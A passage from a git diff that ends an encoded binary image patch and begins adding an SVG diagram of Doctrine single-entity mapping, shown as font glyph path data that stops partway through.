z8#j-;Q)Sd(zLpina&sg~_AO0XSvFJ}%~(D>hbun}nln8;@4s3dfE3V_7w0S&Q=bcP
zxn%I`|0GG$vX0tx?R8V=>9JF6@;II)*NO1%ws3kfcuQ%P{oMUVs$08zA>;$t6i&ol
z5CyOUktj!{B&FZ;GBV7Hh$A5K+Px2s(4J#G&&JTT`D1nQS>Sa6Aww@=NYhFw#CV!9
z>=OJE4f`dRx_-4U@0~069YUBnIPtHxhX}TyzO$BJq^Dp(Q~=Q)ga6Zh)P{UK+4A3(
zmmd}ne7gG3B6WLfCU7pobE#e!Uu$H;RCw%szdfCQRb^W9wcmTy!x%?#YecT|kbUKs
ze@L{<cHB3|iF1K{m}C7dNH+(FYc6_8JH?>AV_cHOr=*8>U$fvi+}W3W3Db2nFW*zJ
z^Cii}bH=cl@@K}B<Z_imI>z%iDjgl?QkreEpI0JR{ExEuDhK<7hn{M-5|%0)3K%Lq
zE$o4|@Ug0m6s<zMb0*UY8nFtNT<&dkcfaO^pSXSI&;C4PbFlcN>!ifuiFTLI4<PO^
z#N=2VIEY*JbLi9qPZf8QVjU2VMlBct1?D9!+XCxOabQ7Vp<3R&-n~CuHDY8lhFpxp
zUoyGOJ2{>r9`L5|Wc4eFm$!01<FPYcCLPZEMpstt%<LW5OB2}ybxjQc`%aAgX@hl~
znkfr*e3bo$C2izbf*Q`N$QBDO+{lNFaQ~V1^VZDSZBM%8A`EY7X~hj9aU5`MlW7H%
zX$I~;#gp9P06nvM8a5{FlWgC6zPbAx(L7Z5Fk9rr)45`E?bVpoyoXMtsuByE+r9eJ
z22UP5=5nfgewLnlSAU*I?CZ>UAE60Lev5h&Fr#)!j`!kIs<AAV$m%b}P3N3=*wBSk
zDRdLFr&_&TO>X3*-*-n`TJb#){<4bqkMkoQwu)Mj9iMEaFQ)jZ>kR3_9Rd9!4fVp_
zyH6iDV?0up-Q})j`KPGdN*flF3H8<AcM^(}+2@G*4cqeH$@kp<5f?dEjds=CqbY()
zWjkAUbO(fOmhTA5KQ;D-RQ%a}%s&>dQVq(2;1}e%AZUae1W?>vK{}*9ZSNfui+jpc
zJ;i_gphLi@@DYE}WcY*LCi~kHJnNw29BOXMXFAzEtKv7Dz@+lX<rbHPB9dNvrKEV$
z=40>xFGve52yCos#(_L!G7e8q->Q@}3BOk5nFG~$Hi%vOfuJ<Qetv!$Ud$JavL1x-
z1wj2wrx`6AsRcL_lVBzJXQj4)L0SWMhv8Tw=az#_;!PHH2g}%Zg%66o+jP^UuHJ|f
zs+O91`XVNcXI|*)dV$4+vy^xt50xo{?JhG9iHSCc5Yw<>i3A54_>Ep8;4;*^d`AXw
zdiA)j7I}EyVjfwIW?lKWw9EgfsD|?%q@Y-+c==nZiG;Dscd{B%o3VLCa&z3e7xxw2
ziEMZFst;wVNR3?FbUW^6dRSA+U<=~S0o_}R{oEkn^Y6TDjrUp_M(!>yRmYmDQoKWz
zO|jGe+}?q71a!)s!sfYrwd0;DS90@!50_7Ozb<N1L_Tis#nvHWkh9U#Pu49~qY;0k
z^RaoqxQ%{m^E+*>UJ@w(@AGyvS;cl77jXNdoc4~cS0PthbL0r#L(|Ess7`$~Goixq
zo~ZHa8?Ks<q7f^9X~K~y(%Ekt>LDKLAcCI?0>{&hi*bwEw-@&@RSRlu9}G3MG_|br
zZf~F`NV$_a59qpHax7J>W)ql6BYH!Mb`4XXt_@(@?t_pXyX)`jzKLr$y7gW!6V#f0
z7%wij`A>Uvcc@-*@%mLgG46Q}x@RFbv2zlwSSV@Vi7t(16*Y_0GI>q*o`?R-<Ev9c
zzl#a14`d~-U=p*vwJR#wt<82siK?BAk6X!)XqhY@;}CV8;S0(`5CD6A;;=ZVbh#`R
z>rl<%b{oAt6I}>wlARQs+1y-`b`7c=B<uUgT3Y5l4Xe0#{IQn+Ec}_C&rGH0*XVjq
z;Jw9CH`i3r^=;9j|4r)mG1{H@#ZgO7=INxRsg9R;%_3E@C9D2H&1U4vf?6lNoMoEg
z^>vDePm?#QzeHOu$77K_&jgyetx9QeCvfO#yfJIkGu~bkOz2Hnv45Ovkj@0){z@la
z-lb*k89l!h^~HD&_)}NJ>NoaC<&PAT&cyGseoN)hT=}lME+zde*&?R0;BxG21ruj6
z=c69(g`ZU>zkinIsZHE)?1q`Z0e27H@0hg4lNzt<4Sb;E?&qL=!;gPoS|-pgyP~DZ
zHUr82x-ESxO$vV&3D_#!Rc;4XV_5?{qi+>yXo;wOrS(^j_xYW5SLl<#kH56n!LoYD
zY-!7}iC}Nvdn_9O`R+J2R5vCGoM45tEQv=rLC1|k<sN8~H#*h#>4v0tJXrW`oi4(K
z6%B1}{i<}t*JSYTm#PzW*l|+xfnX1+0Xtc0avXh#JZidZc|fknpB2%z$fz9P#)a#T
za8n#D3k11t%gq!l$v=x2waNvgv=tBs0FUTUt^d&#h1j>Ln)6`<CSzrjL4Vd97M7p;
zgo|Cjem9rxBCJ0ZZzm0q9@>|d=07S7aWX|*<^5zucAuG5*PN=8RmK)m@!|Z{5gH(9
zHhObB(>nidlHYx4WE$Vp<D1sEbnlbX%5)&Tb;~`rc<ZFjgyrXqGGgMQ>$OMZNc^g$
zVRzoYd=71$gxK;HTCTZY+H~*^razG%nB|w1mpL7z0}rGUt_E>*NNCW}(WM_0<RSsE
z618ieIlhkHt_sBuRhvq6lCM&HP1ArlTJ=64GPJEf-0Gx;HK+e9{du74+h*#%Z;?kH
zBqSR{CgCWT|5FXm?#m}aY<%3zPR5Z>-gCAkWhJ6M-$zfwqW`A41Zn6gD>0)5cbZMD
zl0)IYoZvjN{hikOn?n>q%VS5#aM%CkVltq-EdRNi3ADJspQ>2%hf5h{t0`)&2E`}x
z;G@wK_mb$_iriMt#pgR*d_EO{9AgdwH~Ev(U>!x18m6#28*<60G}M5iXtQuf3y}J_
ztrmPGJb|w~1DZUE5*mSc1e<@ebvOZmW&4}6c+)nNv}GT`w9+z0I}%?kj;`~stR!uH
z(Sx>)-}9{9Wj)=!mxgdG&$T<=p`!TeK|Lb~1GGWDbEPb$dyAhVx>lg$RCF{GEO>Qz
zNF4m^$Fl1zZ{Bk7EPZ%LjJ`KJiPW{KQuug;mH#I9D-IY7Kgkf_`!(2Ir>X>}mnG~E
zCu4?j8U+?{rk?J1qT>thFOtH1{Nr<Tyxbw_!Wxp~8McENW2{qXdRD~OP^>^dL7H>3
zuDFD8_<R{>uPZ{%`jzLk+39VeKaz=awG*>e5J-Jm;tbBpo>3~>gFlru;5{7WItK$A
zC8j#}PeFZ1lO)cY&eidLiH@P%#Hq>>?3aMr1V78oRsTi=bX~l59plqGMYKp9lk}p+
zmn))c^?UNKrmK6BI3`KX5ozLC4DflGIj#vPQLY~&c*=B^GO4cwp37()7z$CyIlVLa
zZRTDY3@9*vo$Dj`(U2&=qtU>a@CsPNw@7y>Uw|Yg%<hT3+|a2%lc1L^E;J9u#7~ep
zdn9hxti=!_$+D|n_^z6B`Vf#S=OX=iZhcz#Z1$()1LXqN#X!qX-?8xz$-TE}`?@^m
zDDGI3@Q+UJCR@2dT^uXP%XHkX(9I4_MM&7f;0llQvQ6(q$(eUNl|sRwb@i;r2gNK~
z6zQ1Nv)_e(KCK{`tAkeLvpfk12&}UMiI-niBMsugzeUp=n8f=s+Ql$I#!UIYSe@m5
z;SbHQU0<9r)Wh9j=E-<R)Wg++XqilF5oP3GY66TF*Ki3~7HQ<Eqik-|xq$D`h?)3T
zr-IwNDB1c41H$$sgNa=x;m6?*bvUbjx2DR5^@r*)e4?opY!~OCZ-T$XJ7@bg5IT+1
ze+K2iMWLD>PUxpp5i?P>>tNXo)P%l-4v-J{g_aYB$<nnRmM{<#$Ned#D-@wu*@>Xt
zrzPmZ2Hw?1c_2(da6al;2<eDt{`~4dWNQX6p42%vFnB<jqI^#M;Q&9fvoiK?IqgR(
z`p1yZT+~>by88O21Lk%5oM9I{-)cS1oyx<IRn|^v8I)mWbFAX(#I|5hFtB1Dpjs*1
zumN2jxl%pVJVyXTE!{SQ8cPHQO~-xR5La<MSLb}cpq{&};_EMBZ(By<X0d($$s(?<
zG5bYfU@IAKLlci`e0~8?c0{9tV1quZAGDp&g1|sS#8-Ke7WzoiBqZ@!_r(et@dX7y
z&8fKDo$%1WNy+VFaR9ykyl)yQ{v8Yv!Fl3J6B_^nM-L8;W&;&+j(}r>qnvG2Wgd3X
zqerEig-V|)Z~@tin(mx&FOeb|;9oi8j>qR7O2LmIt0<wHnYjpQCTYOnNqA}=N;lvI
zVIzY5crzX@ZjwnsAW5s`N$Z29+p*}&<!X4WVQ9t?_dB#@G(MC#-V6GTT;xS~)u`9n
z<TF(B64FdjLg9adbG*HMeG5RXA>ah~0ftUtKOit9I0Rm-Qeu*@KGu#wGtQah)`jh-
z7l92Gr}_7b_V&(j4TXxwO;f+8$49>v#vTqzMnOTsoO>h$1f=^wS9G>!*!wCRmW_##
zK_g-;*;aXdiEqfabY>lqTYxX1cirykTxN1R?AdQU_U78nT0D;y8y#+rejT;nHM03P
zsDc*!7aN~`9lfo0SgG+(b<A#YKXP4#0{YFkJk~ch^1`Uq+~UB<pQ()<gAz??BKH9I
zQEeHGamTqP(hnR<khDHGT68gXi*?`G?|}#KF#cmjQc=+=8I?YewUcv7-L3imFbEGr
zwK9OtSMtBdP~#{-RtII^2Hmh=S0g5nQE|POAoflppuG8+lG6C~>*T){uPVbP*Zsex
zW_@vFZ{2q(eM#R&^4#0*A#(yfPFL5uBH}5;1FjF}?Pe<#-@Pj>DcL_bkPeN^wVxZ7
zoRNW_NHDbZz>p%UIqJft7-U}WL}lsOK}0N&kKGq_Yx<3cyGVf=7O#*sw|d@{EZz8H
zr0NH3%66!ia2AB3fcp*N#65RXQIgn{Re0)ZBbiY(!+vPczZ<#di4Ks$&PC=Wfv4bL
zgI1;PzEq1O?1+I7b@}V->py(>@T0J>>QhI+-XvW)3ndc6ymT;m1t18QK{Yp>u)%F-
z)TrI>?)qr4wzjsctgN}Yc|1gF7%>~W7zgZ^;TFzJn}z+M3HB9(OJxLMWv8X>p8IRR
ze(SOlHQZ-Q)&EB9bL!X`TyNG<9J^g@uE0Sf|HEXdC{-Z;n$qF@ltmf814DUf4(?i8
zQJ7N;gjSng2pcTI3w!5Nuh=qf9yS}-N%k)cb;hj_y(J#!&hDm?ATcpbcJ4z$J#zP9
z9FL*Hs3=y&7itM?>o@QxsbE-HLo7ULK4e8oP!AS|8H<ghW89UrrlzKbhK8yt#v|O<
z5aCN}2V~>FoSvBEB5(t~kGE$RJ7X0U6(;tC#Kh5jVl*@%-Q4TGiPK`^2v^9)v1#OU
zXi~;-Xh7=>PU%%<OA`w=ey#e&IU;1Q$lM4S%Tt#)lqI83EY|n6*$ig&r+GcxDmvSR
zYn|dSE_;+hDrCD5X1-+(cM2;n2DlhJ+zVlg#Svktf#^d_i<j*#LlR_Mm<)8>E|ns6
zYYHGK90@#RzPpw!Ir1Z!3>YeWept@Xdk~KNpDg5@W5{?K5@}mFjNe;z(6TIAKMoY(
zcaIyzHwt*5LR6jyB2RTqO;8jO7)Jr4Iv+v}^#UWQ?oKdcQHES?4&XXCH~@h_9v&WH
zVPR+ZlIZGYvm_*J>>2^ud*fq`QHNVX%$$W>IZ7<^a2a{|5Te_=hecsQ*xuAXm+l|w
z0^e~gPbcC~$`d5y4QD`=@lPrCcb5IXuM3LYvGv9+xIbRZ-xPiJz}FksGB**Jko{N8
zdMsw4(ScysvCDUu<G(UXJ2HHe@#ykF;*=e>wn$)7oH1MQn{L0!;u9@m-52xVDm!3q
z#?lfn>IgM(-BBbAyUS)6IiTY{Nv+wKsnB2BK2A(afE%H)3^Qh>VP?A>@8fOzPCcH5
z+?ot_UX+wVizEkhIM`FH>47Za^tcW`NMc~!U~yZqu&@x4N`yjy442mU$O(Ts=Yr6o
z=Amg6(g<*>5P$LS+pEFdr7;BvSzBe4JkU$y*3RhY+;`A7J|k})AG5NIwAl?NJ;$qf
zDs8HVA&Qu{lH5RQGsxch(u3vHD2peFn5z3iecR$MN4*ZugL}S3{>OIzu7x9#+2gt2
zajj?vvhSqt3}!3lTP?Sm@s+Uf{U_{eEY_!dJx@G*0#7n%xlAVD8L`(Z`U38@W-qKF
z*|Ye}df?9*hQLmS4Squl)5=Jhxn7-8QEU+a+nu7T7JjF>HjAk!X(U)S=8rP6Cg3%Q
zElOQ*g3_O;zgh7@`UJ8N>Tz!nF&*2gXDAjhn8>&R@&PLoPNug92i}G2a=g2uXKD)f
z<kFfA*|;?l6Q^4|0SnrTbqyLPlQ00q!g;>X9%SdXQKcJ%k~+I!qPV~+`+k4MBEUV4
z%vY!P3xe|VSA2?qi=1L-?h*wQ!BJ$eo6H#b{}vui=Gqr=+=iU^&MgS%>b^jrtK-$<
zr;(=wiP(u6x)CsHXWKV6H9y&>PnckHNOgAlKRp>OE#-lIiYf|T481Nxn~J^MOBK`E
zSoPJ(-tzVOxi4P-<E5|>3%DQtyR<YhKR>m|zzDM0{0J-adjr0THeZw`4tMsfIYT*%
zQjAik?de@#gA1ccR|qx4nU#_B?dlaT-c7~>L`&3Booee--i}*+)vW;|(oV8zqxGlM
zpuh=1r(pgWIhINs$}JJE9RWuqc(@Nm<jf${WZftHw62P%3Khzj)j-5W!0p3C=2;!a
zH1Wak0lu?r3wnYkc^=JOU&V*Ws11!I@oWseA!gt=E=2hJ+wL&W0EmP+<9A8OzRKU&
z7+D^M+i6d^2?Yd5tA@HJOpd!+Yf<8aq*r|ZPR`0nZc`RV%;ITj^(!M)ssJGY+^zq(
z(CDw@a~Hum6Qml!=ngH3q-h`bWsr#^WN`k}i%*(C^G2Zj>zRatf&yh0B$S1+H#~S5
zY2-Sl0AB;d2u~3TeJDiO+*1P~-kRWwd)T9%+4Z$!iTjpQ>jI%T&a09VF#n*BMJXLF
z8H$Bm5XIHgZ|YZb#gGNLrQ|Ka+@>aS=4X_#l=$&3iyuHuSL;eT*Kv}$45TM-;rTS0
zWr7%c!D((r4LhOqi?nfLcn-U(i<<iI=&0tslrln#0;|+qnkiW)04((%yXu0Wj0r`?
zVe}Y+_n-C67$o(_8|W=kI13TL1&bcL*9w}zBJx$x_+D;21Orxu65H`46doH%*qW{p
z$vDLrNQ;CcN8yIz3g3xRQnQ96n!4A67Zivc<fVwVkNif^Rf0dv`#uRSUsvjMqi-7r
zhHejJXJ8-VkU7R1b}A69D%+VPR=q$u&nKZ?XnG!2DUJzZ0+I0_%3<ir80N>sqkvrj
z%a`OkOg5_(hYt{QIeljx%z)D_&+He6TXp2h8vnjZyaPI3y`{IIg~<6BFw3SaG)e5T
zjcA6xss2DhOq`KPq=IGSZ0k!v^$wPAAd;VAy4}pnh|Hloma-Me9W<W!O-kw{yIOsn
zxc5vcK}jJKxv85bcmw2-rT5%ZOkR-zbMD?q@F)2QS0T)tM6!AV00t4tFG$M+k}0^K
z>#0GYh&R#$8i0Jn?M+aYXwa&8nNvWdTI7eQDFJLHJXWW<d1+$^W$o*Qh`%i-CD~Tn
zqV>iOC{%BZ;c?r#FkG(5+QLw^a}mq}h`^}{3Z~2utOO$_Y*_qcEAu~?48Vy8eBs3d
zb57Pb)L^AIZvMR<?QCF+<R|%;r->=uwR3tLWDehoWZ*0j0jso){L3o`1KS337)4P-
z@Q<V}J<4NTHc+0u^d3?vjTbZ%4E6nia5W33S}>fAl`oNk^|}5%s2>?Mj;WZ^`{aY;
zxIhpmaJ@}xod`lCu^O+!32r43aJoL6^13aexuDP;PVpOgvkab3P(TYmek<<TUA_73
zgD$seHX?(>fNpgETN#iJJj#2qt8d@JJuvLZ6_MfJ!WSDd$S*RP4$(Gxl_}z9H~{Qi
z1<TBKzFQX2t7}2^;m=X}QJ^T}aFaM|*T<R@J{JM1e`UIXGOOJh%I5{EX><Z6%fb!2
z2(M1#g65Q5pRz>6(Ya&pk*$c2p9DUZ!k^tbJ9n14MrJJy0IO(V36~vQA2S^Pg!D$g
z4XH7-j_yt|d6}LQ4z|y4ygTZ)A%_t`212D;v^E`;8>Vzlm{!n5Vv5zB%w@;I9><2&
zdW0nqvf<ImTB5hN3A)==HEOS`t%tjSbO!&v#`X$)rBjuW5gU+~JEN$6Bg6kDHb-`Z
zzs5!uMj=$58GHX{0t!!VUmz$5lP=hU6)WlnRZmZG5_H&9^P5^!fQAPd6_$(O&SyL~
z;LEdw1bn`VcP4Ytc(94^XdKBEn#}&3ViKL^cvdW9V`R7zBaAje4Jmp+5Yi=bzx2u8
zF}MHqyQqq6yZ2!>u7o}B(CqEYjdkIk0r)6b8`MD5HZQ55NW4xaaFg4pY+>AR)F8^P
ztqivH9kL$;CvVFuyz%st{Hnt++<`z;+?y_5(?3Y5!nbvzpJ7=xBR>VCwS6Y<B&aP4
zL+1v<j`k>^^~RGYW+$Nmz0>d#{tDAdVNlryqaLaiJO1Fs>B6o@%t8!BJZotcF|r!|
zNC&V9Qcp&n*ruUktFEgH;-US)G)^hu1CZ<S34TRq946B3;%)&YLvHBmrx%AwM0F5x
z6kH)fEGYWpj4lY24j4tSK-BFwDemP0>QZ(NsH?r)h1QsTR@D<!TPTsVg!)jwnRl^V
z-%S+qxx=asF@e!^;_=PezU9D3{;d=U(OM`2ogZi>;l%N4&rQ3w-Z&163~w!JylLp>
z`nvJd3*ti`ii@QIxj`OW6L02F`D~Vry@T8r@h&r?KC#|88csGh5m{Y-Tp@SYf&wDp
zZz*xTL|Xv!PFP=QV71VL0wv(=Pl{Er_qaW044Htvqq!gVL4LIoe{64a2uuv%lDux|
zT<ddHbrJIHgApt+M;O@%r}uv#1oP8TaEk91zQPzy4l)@G77?syvI!-^dT?W3M@R#p
zBq-;bqjCc`EwFM#>$()M&syHP{dgm2DS<;h-2UZoSWdj^Ux)MY;b9hO36(nh<uNU1
zU2bv<7ME{Cy>TyTzD({UJk`3&mwea?Ngo9N4O|~-a?46W_1h(ogom;e7Zy$dXkL20
zfa^)#TF%7wQ367VRuME|L2uWdz;}!^R?nlsWOsgi+{@!?9m=5egSiG2H05__p<%Ra
z5wC&0?5kX&5r1m&C(|I2@?a^Kg;vjp5>ciB>QNjk9e?Un*bCq4)C7``v^k+FNw3#N
zf|P*T$M+tGy1QhnTahi1B=FJH`S7aTR5CG)Y*^H3^^C9bZlIK~k+dT!)t(=H+qm29
zX~g-Dx_rO7*X(AD3n+6wU+Zx&yYeLH`7*8dUXJHvH~Qb-W4882x7o_b3*b+9oXz4m
z68J)d3fF*fIZfD9%Z3Sfho--r=J%1!c3jzrQ=-;*AEdh~oe3#HygB|y#_O)z_kHC>
z(AK{1Sd>08^6lJW$Xf^)$_OwImSOdlCoWc#Pke_aMkcKf{~EmQW98Q8PNVA`*j49_
zy)D+H9F~Al2v1--9f3=UhZ?!Fv3Bg}XjxX4f4IFLTpcdsFA+>a9SuiN1F5scd&~X}
zj7;`kpYpY<b8J{wTk#WClTwma{P`-BROr9mztFy+Rz}B4feQ+e!q((uWfc*De}ST`
z`co2~{%$Xk*af&TvfV0Mk{=<$`Z%S6so|8$dcsbe2q2jqOvyuOg0<#}tO=CDfC4E+
zAfa#!x40Cj^pcc+&@)v(K;qu(pAHnLpyj^eg5nhy?Ob+8Y>o*;&WcgS0&q0|*jd7G
zIE{GcRZu7#dDJ)=r8WST2)ob^FQ$~i&>W^I_V4w)ubR?&)znYIqOpp^t8@SgeI#8@
zBsvrhis=kNhtenhP~HAY_mx&oMIIS>=^NP3aVqZmKjgfkkr$r!vm!3#xG|y3R~PI}
zIFqj~5Tt|<CH6N$lK!fc?muCx{|sZOP2#JC97w<{WQI#M$ASfchRlTuUEu@J6<UdP
zLWvrRo=^~%l^Z1pNCx|*XvTR)zs}Pfun}4bs6R_4(Lnd`6poGA$*Bq9Fr*NESM7%?
z*f#fS&`C|1C@B@a3W4=i2y=ONYP>Ov2ea`J{R2242jq-cTy>j2fu_$Bs_$Vax`JsP
zq8c4Y5hTZc9owp``;<2cZ$hOwl=s>N_G=gUf9@YMnRoL}F>E9+;3Q#RtIBr&{f+nf
zcgb3Atc~QW(F7xg@Q1yc5IcyG&6@p(jc5h>D@GS1C$3+|l7g`dPX$r<a?1(>$Z8#_
z_5u@3-mCv$4@+1f%jTNEp3CJ4fpu|<Ni6}R(s|q_l_c!da|TC!l!0w5_<ekZg-<NQ
zQS2#<atUwU$*+v?ctP4ButpV@CDziJM6e+<h@ADwUXh6N3TnC-cn4`E8JMh71exnq
zUL}u915+_BQ2C2f!z<;s5pn!kufux7D7f`L+|AArfbr(HyrJYP|GJ+M3G3e76z0ZZ
zJ`MgY&+Cvcl&}_$NJ!b9O&YI#FsAMPH#hFQ(wj5uJ-LkhYN4SKbZk+tLgD*wpzvt^
z`t(=xNCy;8zedb#fL9T9GLG}t%e;y$sz7S-l~Z0WSogeK(E3~LFR#3L?pk*-!G?{O
zhw%~L7q@)p1LNV(j%a(m*DFUMu<j)o5dVJ`;@><3CMG71kFBuNZ5P+BnOs)M-HoGs
zrEceK^cRn^;%8dx4DVqJv<1HpJM1fqi;J+^)nVb`^mKGvo15RhefyxT{WT@Q>$5sc
ztaw56vM@o>hoyp-qp_{k^;h@zQS~|7qO2u%PL2-kNy*5hrC>)`l9<@6d+H+iv#G~z
zU)3^=LFV9%OQZft9}62BHqWOPAH)c;&^3DC)Ye1G0XC8@E?miA-ZR0e^;c~O{AWJM
z(Gp$ASo-R)T_0`jl$@NLj0{w|U|61x_|(j~!y*l8_owAQe=y#KR#$T}V#BTkBhbMU
zt7~b=CL_CNyjsS{D||;ncq$67sMO{46H-#ZL_{byK~?b)b6L|2zdXxS)3bMkP*MOn
zx6IeshWOlcgZ8xcXrzZnxiWBUl<z>~@$x?qHm&_BC&90i!~Zipegb%NqFz<9$>7#j
z5h*lEw$q!745s!B4eB2wOsC%si7D@+IKFo%sLcH(Oe6JtS{@jf=;@&o5qaDiN^NRt
zDl9CN`5>V`X=qe@^(xpGqgN9-i4#4#Yr)3)2FAm~`%zphFE8)w;{)4l9nEUl?l1D(
ziZY#d+(2t%@Ly+Hv6Iq+ZaR0Z!BRoMG#exVzkn)*R#FccegEoh|JNECh(UrjfX2hH
zurMMbqMDkT_V#uF03hsnXur~Kl*&%F_{(Xr{ok*ng@6zpgY7Gif=|P2-fP#_M;%Aw
zc@D698i?q`ARADc{D%*C%0$NFP(`#7oV@8_k_Gi>36@v8(H4W$->HN{V2Um&VTA3{
zP*DLYLryh#1q1@mFZV)_FrAiu`y4-p74*fyl0oNnTpz8}?Nt5qy<UGJtNPcHj`n<S
z_Ywp|iYFEI+&*jyd~RZ=q4}AYXJc!N+7%3iN}OUMGf?Kkv8}?wTaRyGWtb(agFeD6
z6_AaN7Zi@YI%5XQ-mZa#2;l^V&aCwH_4W43!K5cED=R0ry*-kd%5L=5_j<Tgvsg7t
z(B<48sYy;sYW;F=ih$klcfeCK4Ci0JeuV*KF1)yy!IX%Oo<2AX@&#HR<R+a<AK_l~
zAD$quc!J}u$k(EV&cB3!p&ALgWWC+pAS5JdV`Cee(w{$nmX^Y{g<plh#N_jE?VuiN
za3b8#_xpCa&DR+J{QP`>f1eRGAO1J}{lkNF2qZGvm}-@JYio<Q+vI1KX#E7t>;A82
z$|MBTs`LpPf~bZg6extfk>6C?ceTO|Ll+hny1Ql6)J|ZTMplt*4}<ug|3#FQF|&_D
zMkO>a_NIyx-V&0KgqRBo3y0uRn&QYHq^GBIvQkQ-m3W!r#`Ca!hdEDgAk0bbhUOx-
zYDGz;n2*CFU(_g=mG%b5N=O^SR@AWf1tFw@f`SkVU0vO@^mLQH_!~L$-#vqagQKGu
zp>WN>G&~3{)DNJIAoBr^J-AHBQ>yRPE5rOO@YT-(`|G1;qTzngn$5<^5)THH;6UF{
z@<e|55<)`N51>T~2nfhU)?E-45jkB>1L|~cz*(aH7G-2arbkm(lTd|i>aB(+C`0+M
zi9x&&m_I)_%sVPVu2+5a=-C@`2LCRRjYYwKX^a!Yp)k!`<E}~|yFx}pTM@Cw;Ld@E
zS2fKWZHY+1G;8cj7~udZ2)qWXDL#}42M=_Pk}pXa9aD6|UJ>*k#hkC6eg`1CT7m2=
z?C~mz5F%q-%rmii6y1)Riil0P2j4X6PK5+g-G3{-&N}OIOL39NlpuA|T-|YuI9v$2
zb8Bcb)ws>OSN1Vq*~c8MPkCjZ6L(QMjudME@Z(7kSqU1HBu9=VlyKkze+E~Ah><Ty
z=?X7-1=s>rcwCQrYJ&8sU=P=KN*1U%vcKA{5Y?hr9I5dWy|Axquq>G&;N(QK-(vG)
zYZ5LNd?%s;ez2B+j+c!nY`%h%g)n39lEO5K31D}Hlg9w5^)sucT*M3Zw*@2Q3mKM}
z5!bK!he&r6!we`i1}+(lOr);AWEBqW_|5t9MJv!UM4?6cl>>4ZHi+Z#+s?(KCCF?f
z$wpvDa}>J~Uo^&Te!cqWKonSmXS!9JhW{BCCPZtW*U9+2H?%SGKau|D*l=LXJSst_
zY+(=mM<6VaeGMPBVo@BhVZp>JTGT<$bg%v|6;eF?YH0s8%-y1bMH53LxC^jw`2RM1
zRDz9g$^lUOSqOXRzlIV+(yt+i0Db*yobW#lZ&R^u17#okbwXl(SHQtOin6LQl~TsR
F{|8|kV4DB{

diff --git a/_images/doctrine/mapping_single_entity.svg b/_images/doctrine/mapping_single_entity.svg
new file mode 100644
index 00000000000..5d517c85fb1
--- /dev/null
+++ b/_images/doctrine/mapping_single_entity.svg
@@ -0,0 +1,469 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="681pt" height="170pt" viewBox="0 0 681 170" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 